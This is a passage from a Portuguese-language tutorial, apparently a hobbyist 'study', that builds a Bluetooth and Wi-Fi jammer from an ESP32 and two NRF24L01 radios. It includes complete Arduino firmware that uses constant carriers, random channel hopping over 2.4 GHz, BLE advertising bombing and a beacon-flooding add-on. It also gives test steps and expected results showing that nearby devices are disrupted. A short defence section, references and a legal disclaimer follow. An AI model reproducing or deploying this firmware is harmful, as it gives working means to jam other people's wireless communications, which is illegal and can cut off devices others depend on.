- Enviar quadros beacon ou pacotes de dados fictícios em todos os canais Wi-Fi (1 a 11), gerando ruído que interfere diretamente na faixa de 2.4 GHz.
Transmissão Simultânea:
- Utilizar os rádios NRF24L01, o Bluetooth e o Wi-Fi (Não implementado) do ESP32 simultaneamente para gerar interferência ampla e densa.

O código abaixo mostra como configurar o ESP32 para operar em modo Bluetooth, gerando interferência adicional à gerada pelos módulos NRF24L01:

Implementação da Firmware - Código Fonte

Utilize a Arduinno IDE:

#include "RF24.h"
#include <SPI.h>
#include "esp_bt.h"
#include "esp_wifi.h"
#include "esp_bt_main.h"
#include "esp_gap_ble_api.h"

// Configurações para dois módulos NRF24L01
SPIClass *sp = nullptr;
SPIClass *hp = nullptr;

RF24 radio(16, 15, 16000000);   // HSPI
RF24 radio1(22, 21, 16000000);  // VSPI

// Configurações de canais e controle
int ch_hspi = 0;  // Canal inicial para HSPI (0-39)
int ch_vspi = 40; // Canal inicial para VSPI (40-78)
bool flag_hspi = false;  // Direção de salto HSPI
bool flag_vspi = true;   // Direção de salto VSPI

// Pino do LED azul para indicação
const int ledPin = 2;
bool hasError = false;  // Indicador de erro

// Função de configuração inicial
void setup() {
  pinMode(ledPin, OUTPUT);
  digitalWrite(ledPin, LOW); // Inicialmente o LED está apagado
  Serial.begin(115200);

  // Desativa Wi-Fi e Bluetooth do ESP32
  esp_bt_controller_deinit();
  esp_wifi_stop();
  esp_wifi_deinit();
  esp_wifi_disconnect();

  // Inicializa os rádios NRF24L01
  if (!initHP() || !initSP()) {
    hasError = true; // Marca erro se algum rádio falhar
  }
}

// Inicializa o rádio no barramento VSPI
bool initSP() {
  sp = new SPIClass(VSPI);
  sp->begin();
  if (radio1.begin(sp)) {
    radio1.setAutoAck(false);
    radio1.stopListening();
    radio1.setRetries(0, 0);
    radio1.setPALevel(RF24_PA_MAX, true);
    radio1.setDataRate(RF24_2MBPS);
    radio1.setCRCLength(RF24_CRC_DISABLED);
    radio1.startConstCarrier(RF24_PA_MAX, ch_vspi); // Sinal contínuo
    return true;
  } else {
    Serial.println("Erro ao inicializar VSPI");
    return false;
  }
}

// Inicializa o rádio no barramento HSPI
bool initHP() {
  hp = new SPIClass(HSPI);
  hp->begin();
  if (radio.begin(hp)) {
    radio.setAutoAck(false);
    radio.stopListening();
    radio.setRetries(0, 0);
    radio.setPALevel(RF24_PA_MAX, true);
    radio.setDataRate(RF24_2MBPS);
    radio.setCRCLength(RF24_CRC_DISABLED);
    radio.startConstCarrier(RF24_PA_MAX, ch_hspi); // Sinal contínuo
    return true;
  } else {
    Serial.println("Erro ao inicializar HSPI");
    return false;
  }
}

// Inicia BLE Advertising Bombing
void startBLEInterference() {
  esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT();
  esp_bt_controller_init(&bt_cfg);
  esp_bt_controller_enable(ESP_BT_MODE_BLE);
  esp_bluedroid_init();
  esp_bluedroid_enable();

  esp_ble_adv_params_t adv_params = {
      .adv_int_min = 0x20,
      .adv_int_max = 0x40,
      .adv_type = ADV_TYPE_NONCONN_IND,
      .channel_map = ADV_CHNL_ALL};

  uint8_t adv_data[] = {'B', 'A', 'Z', 'I', 'N', 'G', 'A'};
  esp_ble_gap_config_adv_data_raw(adv_data, sizeof(adv_data));
  esp_ble_gap_start_advertising(&adv_params);
}

// Função para gerar payloads e alternar canais
void jammerSweepBluetooth() {
  // Alterna canal no HSPI
  if (flag_hspi) {
    ch_hspi -= random(1, 3); // Decremento aleatório
    if (ch_hspi < 0) {
      ch_hspi = random(1, 5);
      flag_hspi = false;
    }
  } else {
    ch_hspi += random(1, 3); // Incremento aleatório
    if (ch_hspi > 39) {
      ch_hspi = 39;
      flag_hspi = true;
    }
  }
  radio.setChannel(ch_hspi);
  
  // Alterna canal no VSPI
  if (flag_vspi) {
    ch_vspi -= random(2, 5); // Decremento aleatório
    if (ch_vspi < 40) {
      ch_vspi = 40;
      flag_vspi = false;
    }
  } else {
    ch_vspi += random(2, 5); // Incremento aleatório
    if (ch_vspi > 78) {
      ch_vspi = 78;
      flag_vspi = true;
    }
  }
  radio1.setChannel(ch_vspi);
  startBLEInterference();
}

// Indicação de erro com LED piscando
void indicateError() {
  digitalWrite(ledPin, HIGH);
  delay(500);
  digitalWrite(ledPin, LOW);
  delay(500);
}

// Loop principal
void loop() {
  if (hasError) {
    indicateError(); // Pisca LED em caso de erro
  } else {
    digitalWrite(ledPin, HIGH); // LED ligado para operação normal
    jammerSweepBluetooth();     // Executa lógica de interferência
  }
}

Para controlar o recurso WiFi, ajuste o código de forma que:

// Inicia Wi-Fi Beacon Flooding
void startWiFiInterference() {
  wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  esp_wifi_init(&cfg);
  esp_wifi_set_mode(WIFI_MODE_AP);
  wifi_config_t ap_config = {};
  strcpy((char *)ap_config.ap.ssid, "INTERNET"); // Nome do ponto de acesso
  ap_config.ap.channel = 1; // Canal de operação, alterne dinamicamente (1 a 11)
  ap_config.ap.authmode = WIFI_AUTH_OPEN;
  esp_wifi_set_config(WIFI_IF_AP, &ap_config);
  esp_wifi_start();
}

Com este ajuste torna-se possível expandir a geraração ruído através para o módulo WiFi integrado da ESP32.

Em comparativo com `Estratégia A e B:`

Interferência Wi-Fi com Beacon Flooding:
- O ESP32 é configurado como um ponto de acesso (AP) que transmite pacotes beacon continuamente.
- Os canais Wi-Fi são alternados dinamicamente para gerar interferência ampla na banda de 2.4 GHz.
Interferência Bluetooth (BLE Advertising Bombing):
- O ESP32 envia pacotes de anúncio BLE continuamente nos canais publicitários (37, 38, 39).
Interferência com NRF24L01:
- Os dois módulos NRF24L01 são usados para gerar ruído nos canais Bluetooth (0-78) por meio de transmissão contínua e envio de payloads aleatórios.

Desvantagem Potencial

Aquecimento da ESP32:
- Devida a alta carga de trabalho, superaquecimento dos componentes poderá ser observada.

Impacto no Bluetooth

Bluetooth Clássico:
- Beacon flooding e sinais NRF24L01 saturam a banda, dificultando o salto de frequência.
Bluetooth Low Energy (BLE):
- Advertising bombing ocupa os canais publicitários críticos, impedindo novos emparelhamentos e comunicação.

Todos os códigos (Estratégias A, B e C) são capazes de testar canais entre 2 e 79. Esses valores estão dentro da faixa suportada pelos rádios NRF24L01, que operam entre 2.400 GHz e 2.525 GHz, divididos em 128 canais numerados de 0 a 127, cada um separado por 1 MHz. Com esta programação, o dispositivo gerado no laboratório pode interferir principalmente em Wi-Fi, Bluetooth, Zigbee e dispositivos ISM. A gravidade varia com proximidade, potência, e condições do ambiente.

Através da Estratégia C também é possível utilizar os transmissores Wi-Fi e Bluetooth integrados no ESP32 para gerar ruído adicional e melhorar a eficiência na interrupção de comunicações Bluetooth. O ESP32, por sua arquitetura versátil, permite a manipulação direta de seus transmissores possibilitando:

Através do Transmissor Bluetooth:
- Operar o Bluetooth do ESP32 em um estado de envio contínuo ou utilizando comandos para saturar o espectro de frequência.
Através do Transmissor Wi-Fi:
- Ser configurado para criar pacotes contínuos ou ruído ativo na banda de 2.4 GHz, que também é utilizada pelo Bluetooth.
NRF24L01 e sua faixa de operação:
- Cada canal corresponde a uma frequência, calculada como 2.400 GHz + n x 1 MHz, onde n é o número do canal.
  - Exemplos:
    - Canal 2: 2.400 GHz + 2 MHz = 2.402 GHz
    - Canal 79: 2.400 GHz + 79MHz = 2.479 GHz
Canais fora do intervalo 2-79:
- Embora o NRF24L01 suporte canais de 0 a 127, o código está configurado para operar principalmente dentro da faixa de 2 a 79, porque canais muito baixos (0-1) ou altos (80-127) não serão usados para evitar interferências com outras aplicações (e fugir do escopo do estudo).

Antes de transferir o código para o ESP32 ou após transferido, antes de liga-lo/reiniciar, reproduza um audio no telefone celular e efetue o pareamento com um dispositivo bluetooth de forma em que o dispositivo reproduza o audio. Um apreamento com outros dispositivos com o mesmo propósito pode ser feito em conjunto, desde que estejam próximos.

Inicie sua ESP32.

Testes Recomendados

Confirmação de Cobertura:
- Use um analisador de espectro para verificar a presença de sinais nos canais Bluetooth (0-78).
Impacto em Dispositivos Bluetooth:
- Teste a degradação da conexão em fones de ouvido, caixas de som e outros dispositivos Bluetooth próximos.
Estabilidade de Longa Duração:
- Execute o sistema continuamente para validar sua estabilidade.

Resultados Esperados

Interferência Contínua:
- Comunicação Bluetooth em dispositivos próximos será degradada ou interrompida.
- Comunicação em dispositivos próximos que utilizam a mesma faixa de frequência do estudo será degradada ou interrompida.
Eficiência Contra Sistemas Adaptativos:
- A lógica de saltos aleatórios e emissão contínua dificulta a recuperação de dispositivos adaptativos.
Cobertura Completa:
- Todos os canais Bluetooth (0-78) são cobertos rapidamente por dois rádios operando simultaneamente.

Como se Proteger Contra Este Tipo de Ataque

Embora este estudo explore a implementação de um jammer, é igualmente importante entender como proteger dispositivos contra esse tipo de ataque. Dispositivos que utilizam o protocolo Bluetooth podem implementar as seguintes práticas e tecnologias para minimizar os impactos de interferências maliciosas:

1. Uso de Frequências Adicionais

Implementar suporte ao Bluetooth 5.0 ou superior, que pode utilizar canais publicitários adicionais e redundância para minimizar os impactos da interferência.

2. Ajuste Dinâmico da Potência de Transmissão

Dispositivos podem ajustar automaticamente a potência de transmissão para superar a intensidade do sinal interferente.

3. Salto de Frequência Não Previsível

Aumentar a taxa de salto de frequência para além de 1.600 saltos por segundo e garantir que os saltos sejam baseados em padrões imprevisíveis.

4. Mecanismos de Correção de Erros

Protocolos avançados de correção de erros, como FEC (Forward Error Correction), podem ajudar a recuperar pacotes perdidos ou danificados.

5. Detecção e Mitigação de Interferência

Alguns dispositivos podem detectar interferências e mudar automaticamente para canais ou faixas de frequência menos congestionados.

6. Operação em Frequências Alternativas

Utilizar bandas alternativas, como 5 GHz ou Sub-1 GHz, para comunicação redundante em caso de ataques à faixa de 2.4 GHz.

7. Segurança Física e Ambiental

Garantir que dispositivos operem em ambientes controlados, onde a probabilidade de ataques físicos ou interferência intencional seja minimizada.

Conclusão

Este estudo demonstrou a eficácia de um dispositivo de baixo custo, construído com um ESP32 e dois módulos NRF24L01, para interromper comunicações Bluetooth. A combinação de saltos aleatórios, emissão contínua e lógica otimizada garantiu interferência significativa, mesmo contra sistemas adaptativos. No entanto, deve-se ressaltar que o uso de jammers é estritamente regulado e deve ser realizado apenas em ambientes controlados e autorizados.

Referências

Nota: Os links fornecidos são de fontes públicas ou acessíveis sob assinatura/licença acadêmica. Verifique sua disponibilidade em bibliotecas digitais ou com acesso institucional.

NORDIC SEMICONDUCTOR. nRF24L01 Product Specification. Disponível em: https://infocenter.nordicsemi.com/pdf/nRF24L01P_PS_v1.0.pdf. Acesso em: 23 dez. 2024.
BLUETOOTH SPECIAL INTEREST GROUP. Bluetooth Core Specification 5.3. Disponível em: https://www.bluetooth.com/specifications/bluetooth-core-specification/. Acesso em: 23 dez. 2024.
FCC. Jammer Enforcement Policy. Disponível em: https://www.fcc.gov/general/jammer-enforcement. Acesso em: 23 dez. 2024.
ANATEL. Resolução nº 680/2017. Disponível em: https://www.gov.br/anatel/pt-br. Acesso em: 23 dez. 2024.
IEEE. IEEE 802.11 Standards. IEEE Xplore Digital Library, 2020. Disponível em: https://ieeexplore.ieee.org/document/7786995. Acesso em: 23 dez. 2024.
BALAKRISHNAN, H.; PADMANABHAN, V. N. Interference-Aware Wireless Networks. Disponível em: https://dl.acm.org/doi/10.1145/1159913.1159922. Acesso em: 23 dez. 2024.
STUBER, G. L. Principles of Mobile Communication. Springer, 1996. ISBN: 9780792396985.
TMRH20. RF24 Library Documentation. Disponível em: https://nrf24.github.io/RF24/. Acesso em: 23 dez. 2024.
POZAR, D. M. Microwave Engineering. 4. ed. Wiley, 2011. ISBN: 9780470631553.
BALANIS, C. A. Antenna Theory: Analysis and Design. 4. ed. Wiley, 2016. ISBN: 9781118642061.
SINGH, S.; AHUJA, R. K. Design and Analysis of Wi-Fi Jammer Using Software Defined Radio. International Journal of Wireless Networks, 2017. Disponível em: https://www.sciencedirect.com/science/article/pii/S1877050920303236
XU, W.; MA, K.; TRAPPE, W. Jamming Sensor Networks: Attack and Defense Strategies. IEEE Network, 2005. Disponível em: https://scholarcommons.sc.edu/cgi/viewcontent.cgi?article=1018&context=csce_facpub. Acesso em: 23 dez. 2024.
WECKERT, J. Ethics and Information Technology: Interference in Networks. Springer, 2000. ISBN: 9781402087986.
Bluetooth SIG. Bluetooth Core Specification v5.3. Disponível em: https://www.bluetooth.com/specifications/bluetooth-core-specification/.
Stallings, W. Wireless Communications & Networks. 2ª ed. Pearson, 2005. ISBN: 978-0131918351.
Nordic Semiconductor. Bluetooth Low Energy Fundamentals. Disponível em: https://www.nordicsemi.com/Products/Bluetooth-Low-Energy.
IEEE. IEEE 802.15.1 Standard for Wireless Medium Access Control (MAC) and Physical Layer (PHY) Specifications for Wireless Personal Area Networks (WPAN). Disponível em: https://standards.ieee.org/standard/802_15_1-2005.html.
Ghosh, A., Rappaport, Next Generation Wireless LANs: 802.11n and 802.11ac. ISBN: 9781107016767.
Pozar, D. M. Microwave Engineering. 4ª ed. Wiley, 2011. ISBN: 9780470631553.

Este projeto tem finalidade exclusivamente educacional. Usar um dispositivo BLOQUEADOR DE SINAIS DE RADIOCOMUNICAÇÕES (BSR) é ilegal e sujeito a penalidades. Dispositivos BSR pode apresentar riscos a saúde.

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Montagem do Laboratório

Configuração e Teoria

Frequência de Operação

Bluetooth Clássico (BR/EDR)

Bluetooth Low Energy (BLE)

Mecanismos de Contingência para Minimização de Ruído

Perfis de Uso

Desafios e Limitações

Eficiência e Taxas de Transmissão Disponíveis no NRF24L01

Qual Taxa Escolher Para Maior Eficácia?

Melhor Combinação para Melhor Desempenho

Utilizar RF24_1MBPS em dois transmissores simultaneos tem a mesma eficácia que um transmissor em RF24_2MBPS?

Fatores a Considerar

Dicas para Aumentar a Confiabilidade

Implementação da Firmware - Estratégias A, B e C

Estratégia A. - Cobertura Dividida

Implementação da Firmware - Código Fonte

Estratégia B. - Cobertura Simultânea

Implementação da Firmware - Código Fonte

Em comparativo com Estratégia A, vantagens de não separar a cobertura:

Desvantagem Potencial

Estratégia C. - Utilizar os Transmissores do ESP32 em conjunto com NRF24L01

Implementação da Firmware - Código Fonte

Em comparativo com Estratégia A e B:

Desvantagem Potencial

Impacto no Bluetooth

Testes Recomendados

Resultados Esperados

Como se Proteger Contra Este Tipo de Ataque

1. Uso de Frequências Adicionais

2. Ajuste Dinâmico da Potência de Transmissão

3. Salto de Frequência Não Previsível

4. Mecanismos de Correção de Erros

5. Detecção e Mitigação de Interferência

6. Operação em Frequências Alternativas

7. Segurança Física e Ambiental

Conclusão

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